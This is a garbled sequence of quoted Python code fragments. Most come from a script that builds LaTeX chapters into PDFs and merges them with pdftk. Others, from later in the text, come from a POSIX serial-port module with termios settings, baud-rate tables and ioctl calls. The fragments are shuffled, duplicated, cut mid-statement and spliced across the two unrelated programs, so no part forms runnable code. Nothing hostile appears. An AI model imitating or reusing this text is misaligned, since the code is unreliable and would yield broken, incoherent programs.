sections", "cmd == \"clean\": for chap in chap_sections: remove_latex_tmps(chap) remove_latex_tmps(bookname) else:", "+ object_name) # if old_bbl != read_bbl_file(object_name): # os.system(\"xelatex \"", "remove_tmp(texname + \".lof\") remove_tmp(texname + \".lot\") def read_bbl_file(object_name): file_bbl =", "chap in chap_sections: modified = gen_pdf(chap) or modified if modified:", "def get_sections(name): if not os.path.isdir(name): return [] files = os.listdir(name)", "+ object_pdf, folder_target + \"AAAAAAAAAAA.pdf\"] chapter_start_counter = 0 else: depend_files", "\"\\\\bibliography{thebib}\\n\" latex_text = latex_text + model[insert_pos+len(insert_word):] object_tex = object_name +", "as f: f.write(section_text) if obj_need_bibtex: latex_text = latex_text + \"\\n\\n\"", "return False old_pdffile = folder_target + pdffile if not os.path.isfile(old_pdffile):", "\".pdf\" if object_name == bookname: depend_files = book_sections targets =", "remove_tmp(texname + \".pdf\") remove_tmp(texname + \".tex\") remove_tmp(texname + \".blg\") remove_tmp(texname", "object_pdf] chapter_start_counter = book_chapters.index(object_name) # if is_updated(object_pdf, depend_files): # print(object_pdf", "section): sections.append(name + \"/\" + section) return sections def is_updated(pdffile,", "mergecmd += chappdf + ' ' mergecmd += 'cat output", "'AAABBBBBBBB.pdf' print mergecmd os.system(mergecmd) ################################################## #now work starts files =", "!= \"\": with open(section, 'w') as f: f.write(section_text) if obj_need_bibtex:", "remove_latex_tmps(texname): remove_tmp(texname + \".pdf\") remove_tmp(texname + \".tex\") remove_tmp(texname + \".blg\")", "\".out\") remove_tmp(texname + \".toc\") remove_tmp(texname + \".aux\") remove_tmp(texname + \".idx\")", "os.system(\"bibtex \" + object_name) # if old_bbl != read_bbl_file(object_name): #", "+ \".idx\") remove_tmp(texname + \".log\") remove_tmp(texname + \".lof\") remove_tmp(texname +", "\"%\\\\setcounter{chapter}\") else: model = model.replace(\"CHAPTERSTART\", str(chapter_start_counter)) insert_word = \"TOADD\" insert_pos", "\" + object_name) # os.system(\"xelatex \" + object_name) # #", "+ object_name) # # if os.path.isfile(object_pdf): # for target in", "open(file_bbl, 'r') as f: return f.read() #if depend_files contains citation", "for target in targets: # shutil.copy(object_pdf, target) return True #trim", "'Report': model = model.replace(\"CHAPTERSTART\", \"0\") model = model.replace(\"\\\\tableofcontents\", \"%\\\\tableofcontents\") model", "+ \" is updated\") # return False obj_need_bibtex = need_bibtex(object_name,", "print pdffile, ' mtime: ',ims print fname, ' mtime: ',", "os.listdir(name) sections = [] for section in files: if re.match('.*\\.tex$',", "for chap in chap_sections: modified = gen_pdf(chap) or modified if", "if depend_modified(section, pdf_mtime): return False return True def remove_tmp(tmpname): if", "remove_latex_tmps(chap) remove_latex_tmps(bookname) else: chap = trim_chap_name(cmd) if chap in book_sections:", "chappdf + ' ' mergecmd += 'cat output ' +", "latex_text = latex_text + \"\\\\bibliography{thebib}\\n\" latex_text = latex_text + model[insert_pos+len(insert_word):]", "depend_modified(section, pdf_mtime): return False return True def remove_tmp(tmpname): if os.path.isfile(tmpname):", "depend_modified(file_model, pdf_mtime): #return False for section in texfiles: if depend_modified(section,", "# for target in targets: # shutil.copy(object_pdf, target) return True", "trailing slash def trim_chap_name(name): if name[len(name) - 1] == '/':", "+ \".bbl\") remove_tmp(texname + \".out\") remove_tmp(texname + \".toc\") remove_tmp(texname +", "read_bbl_file(object_name): # os.system(\"xelatex \" + object_name) # os.system(\"xelatex \" +", "if os.path.isfile(object_pdf): # for target in targets: # shutil.copy(object_pdf, target)", "in texfiles: if depend_modified(section, pdf_mtime): return False return True def", "= model.replace(\"ctexrep\", \"ctexart\") model = model.replace(\"\\\\setcounter{chapter}\", \"%\\\\setcounter{chapter}\") else: model =", "#return False #if depend_modified(file_model, pdf_mtime): #return False for section in", "== 'Report': model = model.replace(\"CHAPTERSTART\", \"0\") model = model.replace(\"\\\\tableofcontents\", \"%\\\\tableofcontents\")", "+ \".toc\") remove_tmp(texname + \".aux\") remove_tmp(texname + \".idx\") remove_tmp(texname +", "return False return True for section in depend_files: if contain_citation(section):", "- 1] == '/': name = name[:len(name)-1] return name def", "def remove_latex_tmps(texname): remove_tmp(texname + \".pdf\") remove_tmp(texname + \".tex\") remove_tmp(texname +", "def remove_tmp(tmpname): if os.path.isfile(tmpname): os.remove(tmpname) def remove_latex_tmps(texname): remove_tmp(texname + \".pdf\")", "[] for chap in files: sections = get_sections(chap) if len(sections):", "modified: merge_chapter_pdfs() elif cmd == \"clean\": for chap in chap_sections:", "book_chapters.append(chap) cmd = \"one\" if cmd == \"one\": gen_pdf(bookname) elif", "\" + object_name) # if old_bbl != read_bbl_file(object_name): # os.system(\"xelatex", "if modified: merge_chapter_pdfs() elif cmd == \"clean\": for chap in", "== \"one\": gen_pdf(bookname) elif cmd == \"all\": modified = False", "pdf_mtime = os.path.getmtime(old_pdffile) #if depend_modified(sys.argv[0], pdf_mtime): #return False #if depend_modified(file_model,", "as f: line = f.readline() if line[:6] != '%!Mode': section_text", "\"/\" + section) return sections def is_updated(pdffile, texfiles): def depend_modified(fname,", "if not os.path.isfile(old_pdffile): return False pdf_mtime = os.path.getmtime(old_pdffile) #if depend_modified(sys.argv[0],", "if not os.path.isfile(file_bbl): return \"\" with open(file_bbl, 'r') as f:", "return its sections def get_sections(name): if not os.path.isdir(name): return []", "is actually a section section = chap chap = 'Report'", "if object_name == 'Report': model = model.replace(\"CHAPTERSTART\", \"0\") model =", "its sections def get_sections(name): if not os.path.isdir(name): return [] files", "mtime: ',ims print fname, ' mtime: ', depend_mtime return True", "= os.listdir(name) sections = [] for section in files: if", "True #trim trailing slash def trim_chap_name(name): if name[len(name) - 1]", "os.remove(tmpname) def remove_latex_tmps(texname): remove_tmp(texname + \".pdf\") remove_tmp(texname + \".tex\") remove_tmp(texname", "\"ctexart\") model = model.replace(\"\\\\setcounter{chapter}\", \"%\\\\setcounter{chapter}\") else: model = model.replace(\"CHAPTERSTART\", str(chapter_start_counter))", "if not chap_sections.has_key(chap): print(chap + \" is not a valid", "chapter_start_counter = book_chapters.index(object_name) # if is_updated(object_pdf, depend_files): # print(object_pdf +", "= latex_text + \"\\\\bibliographystyle{unsrt}\\n\" latex_text = latex_text + \"\\\\bibliography{thebib}\\n\" latex_text", "latex citation command \\cite{} def contain_citation(section_name): with open(section_name, \"r\") as", "\"fast\": # if obj_need_bibtex: # old_bbl = read_bbl_file(object_name) # os.system(\"bibtex", "a valid chapter name\") sys.exit(1) modified = gen_pdf(chap) if modified", "section in files: if re.match('.*\\.tex$', section) and not re.match(\".*lmz0610.*\", section):", "sections = get_sections(chap) if len(sections): chap_sections[chap] = sections book_sections.extend(sections) book_chapters.append(chap)", "str(chapter_start_counter)) insert_word = \"TOADD\" insert_pos = model.find(insert_word) latex_text = model[:insert_pos]", "chappdf = folder_target + chap + '.pdf' if os.path.isfile(chappdf): mergecmd", "\"\\n\\\\input{\"+ section + \"}\" #prepend text encoding mode line section_text", "modified = gen_pdf(chap) if modified and chap != 'Report': merge_chapter_pdfs()", "insert_word for section in depend_files: latex_text = latex_text + \"\\n\\\\input{\"+", "def read_bbl_file(object_name): file_bbl = object_name + \".bbl\" if not os.path.isfile(file_bbl):", "content_section.find(\"\\\\cite{\") == -1: return False return True for section in", "model.replace(\"ctexrep\", \"ctexart\") model = model.replace(\"\\\\setcounter{chapter}\", \"%\\\\setcounter{chapter}\") else: model = model.replace(\"CHAPTERSTART\",", "not a valid chapter name\") sys.exit(1) modified = gen_pdf(chap) if", "sections.append(name + \"/\" + section) return sections def is_updated(pdffile, texfiles):", "= model.find(insert_word) latex_text = model[:insert_pos] + insert_word for section in", "def depend_modified(fname, ims): depend_mtime = os.path.getmtime(fname) if depend_mtime > ims:", "0 else: depend_files = chap_sections[object_name] targets = [folder_target + object_pdf]", "f.read() #if depend_files contains citation def need_bibtex(object_name, depend_files): #if a", "open(section, 'r') as f: line = f.readline() if line[:6] !=", "+= chappdf + ' ' mergecmd += 'cat output '", "True return False def gen_pdf(object_name): object_pdf = object_name + \".pdf\"", "= model.replace(\"\\\\tableofcontents\", \"%\\\\tableofcontents\") model = model.replace(\"ctexrep\", \"ctexart\") model = model.replace(\"\\\\setcounter{chapter}\",", "True def remove_tmp(tmpname): if os.path.isfile(tmpname): os.remove(tmpname) def remove_latex_tmps(texname): remove_tmp(texname +", "chap in book_chapters: chappdf = folder_target + chap + '.pdf'", "\"thebib.bib\" folder_target = \"../pdf/\" #if name is a chapter, return", "\"\\\\bibliographystyle{unsrt}\\n\" latex_text = latex_text + \"\\\\bibliography{thebib}\\n\" latex_text = latex_text +", "+ \"\\\\bibliography{thebib}\\n\" latex_text = latex_text + model[insert_pos+len(insert_word):] object_tex = object_name", "in chap_sections: remove_latex_tmps(chap) remove_latex_tmps(bookname) else: chap = trim_chap_name(cmd) if chap", "latex_text = model[:insert_pos] + insert_word for section in depend_files: latex_text", "\".pdf\") remove_tmp(texname + \".tex\") remove_tmp(texname + \".blg\") remove_tmp(texname + \".bbl\")", "chapter_start_counter = 0 else: depend_files = chap_sections[object_name] targets = [folder_target", "',ims print fname, ' mtime: ', depend_mtime return True return", "\"\\n\\n\" latex_text = latex_text + \"\\\\bibliographystyle{unsrt}\\n\" latex_text = latex_text +", "\".tex\") remove_tmp(texname + \".blg\") remove_tmp(texname + \".bbl\") remove_tmp(texname + \".out\")", "= 'Report' chap_sections[chap] = [section] book_chapters.append(chap) if not chap_sections.has_key(chap): print(chap", "\" + object_name) # # if os.path.isfile(object_pdf): # for target", "print mergecmd os.system(mergecmd) ################################################## #now work starts files = os.listdir('.')", "f.read() if section_text != \"\": with open(section, 'w') as f:", "model = model.replace(\"ctexrep\", \"ctexart\") model = model.replace(\"\\\\setcounter{chapter}\", \"%\\\\setcounter{chapter}\") else: model", "in targets: # shutil.copy(object_pdf, target) return True #trim trailing slash", "#if depend_modified(sys.argv[0], pdf_mtime): #return False #if depend_modified(file_model, pdf_mtime): #return False", "os.path.getmtime(fname) if depend_mtime > ims: print pdffile, ' mtime: ',ims", "False def gen_pdf(object_name): object_pdf = object_name + \".pdf\" if object_name", "\"TOADD\" insert_pos = model.find(insert_word) latex_text = model[:insert_pos] + insert_word for", "chap = trim_chap_name(cmd) if chap in book_sections: #chap is actually", "target in targets: # shutil.copy(object_pdf, target) return True #trim trailing", "'cat output ' + folder_target + 'AAABBBBBBBB.pdf' print mergecmd os.system(mergecmd)", "+ \"\\n\\n\" latex_text = latex_text + \"\\\\bibliographystyle{unsrt}\\n\" latex_text = latex_text", "False return True def remove_tmp(tmpname): if os.path.isfile(tmpname): os.remove(tmpname) def remove_latex_tmps(texname):", "chap_sections = {} book_sections = [] book_chapters = [] for", "open(section_name, \"r\") as f: content_section = f.read() if content_section.find(\"\\\\cite{\") ==", "f.write(section_text) if obj_need_bibtex: latex_text = latex_text + \"\\n\\n\" latex_text =", "section in depend_files: latex_text = latex_text + \"\\n\\\\input{\"+ section +", "chapter name\") sys.exit(1) modified = gen_pdf(chap) if modified and chap", "with open(section_name, \"r\") as f: content_section = f.read() if content_section.find(\"\\\\cite{\")", "model = model.replace(\"OBJECTNAME\", object_name) if object_name == 'Report': model =", "= os.path.getmtime(fname) if depend_mtime > ims: print pdffile, ' mtime:", "or modified if modified: merge_chapter_pdfs() elif cmd == \"clean\": for", "bookname = \"TechNotes\" file_bibtex = \"thebib.bib\" folder_target = \"../pdf/\" #if", "in book_chapters: chappdf = folder_target + chap + '.pdf' if", "name[:len(name)-1] return name def merge_chapter_pdfs(): mergecmd = 'pdftk ' for", "#return False for section in texfiles: if depend_modified(section, pdf_mtime): return", "f: f.write(latex_text) # os.system(\"xelatex \" + object_name) # if len(sys.argv)", "+ model[insert_pos+len(insert_word):] object_tex = object_name + \".tex\" with open(object_tex, \"w\")", "+ pdffile if not os.path.isfile(old_pdffile): return False pdf_mtime = os.path.getmtime(old_pdffile)", "\\cite{} def contain_citation(section_name): with open(section_name, \"r\") as f: content_section =", "[] files = os.listdir(name) sections = [] for section in", "= model_file.read() model = model.replace(\"OBJECTNAME\", object_name) if object_name == 'Report':", "def merge_chapter_pdfs(): mergecmd = 'pdftk ' for chap in book_chapters:", "return name def merge_chapter_pdfs(): mergecmd = 'pdftk ' for chap", "1] == '/': name = name[:len(name)-1] return name def merge_chapter_pdfs():", "== -1: return False return True for section in depend_files:", "is_updated(object_pdf, depend_files): # print(object_pdf + \" is updated\") # return", "chap + '.pdf' if os.path.isfile(chappdf): mergecmd += chappdf + '", "as model_file: model = model_file.read() model = model.replace(\"OBJECTNAME\", object_name) if", "f.read() if content_section.find(\"\\\\cite{\") == -1: return False return True for", "'r') as f: line = f.readline() if line[:6] != '%!Mode':", "for chap in book_chapters: chappdf = folder_target + chap +", "False return True for section in depend_files: if contain_citation(section): return", "= trim_chap_name(cmd) if chap in book_sections: #chap is actually a", "remove_latex_tmps(bookname) else: chap = trim_chap_name(cmd) if chap in book_sections: #chap", "#chap is actually a section section = chap chap =", "f.write(latex_text) # os.system(\"xelatex \" + object_name) # if len(sys.argv) <", "and not re.match(\".*lmz0610.*\", section): sections.append(name + \"/\" + section) return", "latex_text + \"\\\\bibliography{thebib}\\n\" latex_text = latex_text + model[insert_pos+len(insert_word):] object_tex =", "updated\") # return False obj_need_bibtex = need_bibtex(object_name, depend_files) model =", "is updated\") # return False obj_need_bibtex = need_bibtex(object_name, depend_files) model", "gen_pdf(bookname) elif cmd == \"all\": modified = False for chap", "line section_text = \"\" with open(section, 'r') as f: line", "#trim trailing slash def trim_chap_name(name): if name[len(name) - 1] ==", "if is_updated(object_pdf, depend_files): # print(object_pdf + \" is updated\") #", "latex_text + \"\\n\\n\" latex_text = latex_text + \"\\\\bibliographystyle{unsrt}\\n\" latex_text =", "#if name is a chapter, return its sections def get_sections(name):", "#if depend_files contains citation def need_bibtex(object_name, depend_files): #if a file", "depend_files) model = '' with open(file_model) as model_file: model =", "in depend_files: latex_text = latex_text + \"\\n\\\\input{\"+ section + \"}\"", "mode line section_text = \"\" with open(section, 'r') as f:", "re, os, sys file_model = \"Model.template\" bookname = \"TechNotes\" file_bibtex", "if line[:6] != '%!Mode': section_text = '%!Mode:: \"TeX:UTF-8\"\\n' + line", "with open(file_model) as model_file: model = model_file.read() model = model.replace(\"OBJECTNAME\",", "\"../pdf/\" #if name is a chapter, return its sections def", "\".idx\") remove_tmp(texname + \".log\") remove_tmp(texname + \".lof\") remove_tmp(texname + \".lot\")", "# print(object_pdf + \" is updated\") # return False obj_need_bibtex", "object_name == 'Report': model = model.replace(\"CHAPTERSTART\", \"0\") model = model.replace(\"\\\\tableofcontents\",", "latex_text = latex_text + model[insert_pos+len(insert_word):] object_tex = object_name + \".tex\"", "or sys.argv[2] != \"fast\": # if obj_need_bibtex: # old_bbl =", "if old_bbl != read_bbl_file(object_name): # os.system(\"xelatex \" + object_name) #", "latex_text + \"\\n\\\\input{\"+ section + \"}\" #prepend text encoding mode", "chap = 'Report' chap_sections[chap] = [section] book_chapters.append(chap) if not chap_sections.has_key(chap):", "elif cmd == \"clean\": for chap in chap_sections: remove_latex_tmps(chap) remove_latex_tmps(bookname)", "= os.listdir('.') chap_sections = {} book_sections = [] book_chapters =", "object_name) if object_name == 'Report': model = model.replace(\"CHAPTERSTART\", \"0\") model", "= False for chap in chap_sections: modified = gen_pdf(chap) or", "latex_text + model[insert_pos+len(insert_word):] object_tex = object_name + \".tex\" with open(object_tex,", "[] for section in files: if re.match('.*\\.tex$', section) and not", "ims: print pdffile, ' mtime: ',ims print fname, ' mtime:", "= f.readline() if line[:6] != '%!Mode': section_text = '%!Mode:: \"TeX:UTF-8\"\\n'", "model = model.replace(\"CHAPTERSTART\", str(chapter_start_counter)) insert_word = \"TOADD\" insert_pos = model.find(insert_word)", "section_text = \"\" with open(section, 'r') as f: line =", "= [] for section in files: if re.match('.*\\.tex$', section) and", "\".bbl\") remove_tmp(texname + \".out\") remove_tmp(texname + \".toc\") remove_tmp(texname + \".aux\")", "if cmd == \"one\": gen_pdf(bookname) elif cmd == \"all\": modified", "obj_need_bibtex: latex_text = latex_text + \"\\n\\n\" latex_text = latex_text +", "gen_pdf(chap) or modified if modified: merge_chapter_pdfs() elif cmd == \"clean\":", "book_sections: #chap is actually a section section = chap chap", "return f.read() #if depend_files contains citation def need_bibtex(object_name, depend_files): #if", "#now work starts files = os.listdir('.') chap_sections = {} book_sections" ]
[ "Data Terminal Ready\"\"\" if self.fd is None: raise portNotOpenError if", "setup baud rate try: ispeed = ospeed = getattr(TERMIOS, 'B%s'", "self._xonxoff: iflag |= (TERMIOS.IXON|TERMIOS.IXOFF) #|TERMIOS.IXANY) else: iflag &= ~(TERMIOS.IXON|TERMIOS.IXOFF|TERMIOS.IXANY) else:", "with current settings. This may throw a SerialException if the", "getCTS(self): \"\"\"Read terminal status line: Clear To Send\"\"\" if self.fd", "systems.\"\"\" def open(self): \"\"\"Open port with current settings. This may", "= hasattr(TERMIOS, 'TIOCM_OUT1') and TERMIOS.TIOCM_OUT1 or 0x2000 #TIOCM_OUT2 = hasattr(TERMIOS,", "SerialException if the port cannot be opened.\"\"\" self.fd = None", "or 0x5427 TIOCCBRK = hasattr(TERMIOS, 'TIOCCBRK') and TERMIOS.TIOCCBRK or 0x5428", "TERMIOS.TIOCM_LE or 0x001 TIOCM_DTR = hasattr(TERMIOS, 'TIOCM_DTR') and TERMIOS.TIOCM_DTR or", "baud rate: %r' % self._baudrate) # setup char len cflag", "a string with the real device name as port parameter.", "TERMIOS.TIOCCBRK or 0x5428 class PosixSerial(SerialBase): \"\"\"Serial port class POSIX implementation.", "self._port is None: raise SerialException(\"Port must be configured before it", "= False def makeDeviceName(self, port): return device(port) # - -", "not configure port: %s\" % msg) # set up raw", "classic version with our own file-like emulation class Serial(PosixSerial, FileLike):", "< 0: raise writeTimeoutError _, ready, _ = select.select([], [self.fd],", "- def drainOutput(self): \"\"\"internal - not portable!\"\"\" if self.fd is", "2, speed_t) fcntl.ioctl(port.fd, IOSSIOSPEED, buf, 1) else: # version <", "with our own file-like emulation class Serial(PosixSerial, FileLike): pass else:", "file like objects. In this case, wait until all data", "= hasattr(TERMIOS, 'TIOCMGET') and TERMIOS.TIOCMGET or 0x5415 TIOCMBIS = hasattr(TERMIOS,", "{ 0: 0000000, # hang up 50: 0o000001, 75: 0o000002,", "vtime < 0 or vtime > 255: raise ValueError('Invalid vtime:", "ispeed = ospeed = getattr(TERMIOS, 'B38400') try: custom_baud = int(self._baudrate)", "portNotOpenError return self.fd def flowControl(self, enable): \"\"\"manually control flow -", "s.flushOutput() s.write('hello') sys.stdout.write('%r\\n' % s.read(5)) sys.stdout.write('%s\\n' % s.inWaiting()) del s", "TERMIOS.FIONREAD or 0x541B TIOCM_zero_str = struct.pack('I', 0) TIOCM_RTS_str = struct.pack('I',", "pass class PosixPollSerial(Serial): \"\"\"poll based read implementation. not all systems", "serial IO for POSIX compatible systems, like Linux # see", "is None: raise portNotOpenError termios.tcdrain(self.fd) def nonblocking(self): \"\"\"internal - not", "one has better handling of errors, such as a device", "terminal status line: Carrier Detect\"\"\" if self.fd is None: raise", "level=1): \"\"\"Set break: Controls TXD. When active, no transmitting is", "# # parts based on code from <NAME> <<EMAIL>>: #", "- - - - def drainOutput(self): \"\"\"internal - not portable!\"\"\"", "= fcntl.ioctl(self.fd, TERMIOS.FIONREAD, TIOCM_zero_str) s = fcntl.ioctl(self.fd, TIOCINQ, TIOCM_zero_str) return", "current output and discarding all that is in the buffer.\"\"\"", "raise portNotOpenError termios.tcflush(self.fd, TERMIOS.TCIFLUSH) def flushOutput(self): \"\"\"Clear output buffer, aborting", "- - - - - - - def inWaiting(self): \"\"\"Return", "get to this point. if not buf: # Disconnected devices,", "values from TERMIOS, use defaults from linux otherwise TIOCMGET =", "&= ~(TERMIOS.ICANON|TERMIOS.ECHO|TERMIOS.ECHOE|TERMIOS.ECHOK|TERMIOS.ECHONL| TERMIOS.ISIG|TERMIOS.IEXTEN) #|TERMIOS.ECHOPRT for flag in ('ECHOCTL', 'ECHOKE'): #", "set_special_baudrate() function # for the platform plat = sys.platform.lower() if", "inWaiting(self): \"\"\"Return the number of characters currently in the input", "or timeout, that's # handled below buf = os.read(self.fd, size", "timeout it will block until the requested number of bytes", "Send\"\"\" if self.fd is None: raise portNotOpenError if level: fcntl.ioctl(self.fd,", "to handle non standard baud rate on this platform\") baudrate_constants", "just need to know the device names. # load some", "struct.unpack('I',s)[0] & TIOCM_RI != 0 def getCD(self): \"\"\"Read terminal status", "and TERMIOS.TIOCM_DSR or 0x100 TIOCM_CD = hasattr(TERMIOS, 'TIOCM_CD') and TERMIOS.TIOCM_CD", "(confirmed) def device(port): return '/dev/ttyS%d' % port ASYNC_SPD_MASK = 0x1030", "flushOutput(self): \"\"\"Clear output buffer, aborting the current output and discarding", "TERMIOS.CS7 elif self._bytesize == 6: cflag |= TERMIOS.CS6 elif self._bytesize", "= FCNTL.ioctl(port.fd, TERMIOS.TIOCSSERIAL, buf) except IOError: raise ValueError('Failed to set", "def device(port): return '/dev/ttyp%d' % port def set_special_baudrate(port, baudrate): raise", "stop bits timeout=3, # set a timeout value, None for", "SerialException(\"Can only operate on a valid file descriptor\") custom_baud =", "errno.EAGAIN: raise SerialException('write failed: %s' % (v,)) return len(data) def", "TERMIOS.TIOCGSERIAL, buf) # set custom divisor buf[6] = buf[7] /", "# this is distributed under a free software license, see", "of bytes is read.\"\"\" if self.fd is None: raise portNotOpenError", "portNotOpenError termios.tcflush(self.fd, TERMIOS.TCIFLUSH) def flushOutput(self): \"\"\"Clear output buffer, aborting the", "else: fcntl.ioctl(self.fd, TIOCMBIC, TIOCM_RTS_str) def setDTR(self, level=1): \"\"\"Set terminal status", "\"\"\"Send break condition. Timed, returns to idle state after given", "plat[:3] == 'aix': # AIX def device(port): return '/dev/tty%d' %", "path (eg /dev/ttyS1) or send this information to ! the", "left as timeout timeleft = timeout - time.time() if timeleft", "&= ~ASYNC_SPD_MASK buf[4] |= ASYNC_SPD_CUST # set serial_struct try: res", "75: 0o000002, 110: 0o000003, 134: 0o000004, 150: 0o000005, 200: 0o000006,", "cflag |= (TERMIOS.CLOCAL|TERMIOS.CREAD) lflag &= ~(TERMIOS.ICANON|TERMIOS.ECHO|TERMIOS.ECHOE|TERMIOS.ECHOK|TERMIOS.ECHONL| TERMIOS.ISIG|TERMIOS.IEXTEN) #|TERMIOS.ECHOPRT for flag", "def sendBreak(self, duration=0.25): \"\"\"Send break condition. Timed, returns to idle", "#TIOCM_SR = hasattr(TERMIOS, 'TIOCM_SR') and TERMIOS.TIOCM_SR or 0x010 TIOCM_CTS =", "custom baud rate, if any if custom_baud is not None:", "TIOCM_RI = hasattr(TERMIOS, 'TIOCM_RI') and TERMIOS.TIOCM_RI or TIOCM_RNG #TIOCM_OUT1 =", "the new I/O # library, derrive from io.RawIOBase try: import", "version with our own file-like emulation class Serial(PosixSerial, FileLike): pass", "descriptor\") custom_baud = None vmin = vtime = 0 #", "is not None and self._interCharTimeout > 0)) and not buf:", "and self._interCharTimeout > 0)) and not buf: break # early", "%r' % self._baudrate) # may need custom baud rate, it", "as a device disconnecting while it's in use (e.g. USB-serial", "not portable!\"\"\" if self.fd is None: raise portNotOpenError fcntl.fcntl(self.fd, FCNTL.F_SETFL,", "return struct.unpack('I',s)[0] & TIOCM_CD != 0 # - - platform", "len(read) < size: ready,_,_ = select.select([self.fd],[],[], self._timeout) # If select", "'irix': # IRIX (partially tested) def device(port): return '/dev/ttyf%d' %", "data is written.\"\"\" self.drainOutput() def flushInput(self): \"\"\"Clear input buffer, discarding", "('ECHOCTL', 'ECHOKE'): # netbsd workaround for Erk if hasattr(TERMIOS, flag):", "name if self._rtscts: cflag |= (TERMIOS.CNEW_RTSCTS) else: cflag &= ~(TERMIOS.CNEW_RTSCTS)", "OS X version = os.uname()[2].split('.') # Tiger or above can", "res = FCNTL.ioctl(port.fd, TERMIOS.TIOCSSERIAL, buf) except IOError: raise ValueError('Failed to", "- def inWaiting(self): \"\"\"Return the number of characters currently in", "on opened port.\"\"\" if self.fd is None: raise SerialException(\"Can only", "try: custom_baud = int(self._baudrate) # store for later except ValueError:", "and self._timeout >= 0) or (self._interCharTimeout is not None and", "platform\") baudrate_constants = {} elif plat[:3] == 'bsd' or \\", "is None: raise portNotOpenError termios.tcflush(self.fd, TERMIOS.TCOFLUSH) def sendBreak(self, duration=0.25): \"\"\"Send", "baud rate on this platform\") baudrate_constants = {} elif plat[:4]", "rate on this platform\") baudrate_constants = {} elif plat[:3] ==", "stopbits if self._stopbits == STOPBITS_ONE: cflag &= ~(TERMIOS.CSTOPB) elif self._stopbits", "duration=0.25): \"\"\"Send break condition. Timed, returns to idle state after", "termios.tcflow(self.fd, TERMIOS.TCIOFF) # assemble Serial class with the platform specifc", "(confirmed) def device(port): return '/dev/ttyp%d' % port def set_special_baudrate(port, baudrate):", "+ 1) def set_special_baudrate(port, baudrate): raise ValueError(\"sorry don't know how", "set up high speeds import array, fcntl buf = array.array('i',", "> 255: raise ValueError('Invalid vtime: %r' % vtime) cc[TERMIOS.VTIME] =", "% vtime) cc[TERMIOS.VTIME] = vtime # activate settings termios.tcsetattr(self.fd, TERMIOS.TCSANOW,", "os.O_NONBLOCK) def fileno(self): \"\"\"For easier use of the serial port", "this platform\") baudrate_constants = {} else: # platform detection has", "4800: 0o000014, 9600: 0o000015, 19200: 0o000016, 38400: 0o000017, 57600: 0o010001,", "to work on many systems def read(self, size=1): \"\"\"Read size", "self._timeout >= 0) or (self._interCharTimeout is not None and self._interCharTimeout", "reading returns nothing. raise SerialException('device reports readiness to read but", "'TIOCMBIC') and TERMIOS.TIOCMBIC or 0x5417 TIOCMSET = hasattr(TERMIOS, 'TIOCMSET') and", "if self.fd is None: raise portNotOpenError read = bytearray() while", "} elif plat == 'cygwin': # cygwin/win32 (confirmed) def device(port):", "(port) def set_special_baudrate(port, baudrate): raise ValueError(\"sorry don't know how to", "!= 0 # - - platform specific - - -", "baud rate: %r' % baudrate) baudrate_constants = { 0: 0000000,", "on this platform\") baudrate_constants = {} elif plat[:6] == 'darwin':", "= hasattr(TERMIOS, 'TIOCM_LE') and TERMIOS.TIOCM_LE or 0x001 TIOCM_DTR = hasattr(TERMIOS,", "flow control ) s.setRTS(1) s.setDTR(1) s.flushInput() s.flushOutput() s.write('hello') sys.stdout.write('%r\\n' %", "set_special_baudrate(self, custom_baud) def close(self): \"\"\"Close port\"\"\" if self._isOpen: if self.fd", "600: 0o000010, 1200: 0o000011, 1800: 0o000012, 2400: 0o000013, 4800: 0o000014,", "throw a SerialException if the port cannot be opened.\"\"\" self.fd", "PARITY_NONE: cflag &= ~(TERMIOS.PARENB|TERMIOS.PARODD) elif self._parity == PARITY_EVEN: cflag &=", "timeout == 0 (non-blocking operation) also abort when there #", "return len(data) def flush(self): \"\"\"Flush of file like objects. In", "use of the serial port instance with select. WARNING: this", "that they are always ready to read immediately # but", "raise SerialException('device reports readiness to read but returned no data", "TERMIOS = termios if (sys.hexversion < 0x020200f0): import FCNTL else:", "4000000: 0o010017 } elif plat == 'cygwin': # cygwin/win32 (confirmed)", "self._isOpen = False def makeDeviceName(self, port): return device(port) # -", "plat[:4] == 'irix': # IRIX (partially tested) def device(port): return", "TIOCMBIS = hasattr(TERMIOS, 'TIOCMBIS') and TERMIOS.TIOCMBIS or 0x5416 TIOCMBIC =", "with alternate constant name if self._rtscts: cflag |= (TERMIOS.CNEW_RTSCTS) else:", "t = len(data) d = data if self._writeTimeout is not", "def flushOutput(self): \"\"\"Clear output buffer, aborting the current output and", "serialposix.py version = %s also add the device name of", "buffer.\"\"\" if self.fd is None: raise portNotOpenError termios.tcflush(self.fd, TERMIOS.TCIFLUSH) def", "name # even if the device name is not correct", "or 0x100 TIOCM_CD = hasattr(TERMIOS, 'TIOCM_CD') and TERMIOS.TIOCM_CD or TIOCM_CAR", "and many other Un*x like systems.\"\"\" def open(self): \"\"\"Open port", "parameter. def device(portum): return '/dev/ttyS%d' % portnum def set_special_baudrate(port, baudrate):", "0o010001, 115200: 0o010002, 230400: 0o010003, 460800: 0o010004, 500000: 0o010005, 576000:", "TIOCM_RNG = hasattr(TERMIOS, 'TIOCM_RNG') and TERMIOS.TIOCM_RNG or 0x080 TIOCM_DSR =", "= hasattr(TERMIOS, 'TIOCCBRK') and TERMIOS.TIOCCBRK or 0x5428 class PosixSerial(SerialBase): \"\"\"Serial", "and TERMIOS.TIOCM_RNG or 0x080 TIOCM_DSR = hasattr(TERMIOS, 'TIOCM_DSR') and TERMIOS.TIOCM_DSR", "TERMIOS.FIONREAD, TIOCM_zero_str) s = fcntl.ioctl(self.fd, TIOCINQ, TIOCM_zero_str) return struct.unpack('I',s)[0] #", "the device names. # load some constants for later use.", "== 'cygwin': # cygwin/win32 (confirmed) def device(port): return '/dev/com%d' %", "behavior that they are always ready to read immediately #", "setting up rtscts (and xonxoff etc) fails?? # buffer #", "or 0x541B TIOCM_zero_str = struct.pack('I', 0) TIOCM_RTS_str = struct.pack('I', TIOCM_RTS)", "self.fd def flowControl(self, enable): \"\"\"manually control flow - when hardware", "try: import io except ImportError: # classic version with our", "'B%s' % (self._baudrate)) except AttributeError: try: ispeed = ospeed =", "self.drainOutput() def flushInput(self): \"\"\"Clear input buffer, discarding all that is", "BSD, Jython # module for serial IO for POSIX compatible", "self._bytesize == 6: cflag |= TERMIOS.CS6 elif self._bytesize == 5:", "TIOCM_RTS_str = struct.pack('I', TIOCM_RTS) TIOCM_DTR_str = struct.pack('I', TIOCM_DTR) TIOCSBRK =", "with a bit luck you can get this module running...", "e.g. 'first serial port: /dev/ttyS0' and with a bit luck", "%s\" % (self._port, msg)) #~ fcntl.fcntl(self.fd, FCNTL.F_SETFL, 0) # set", 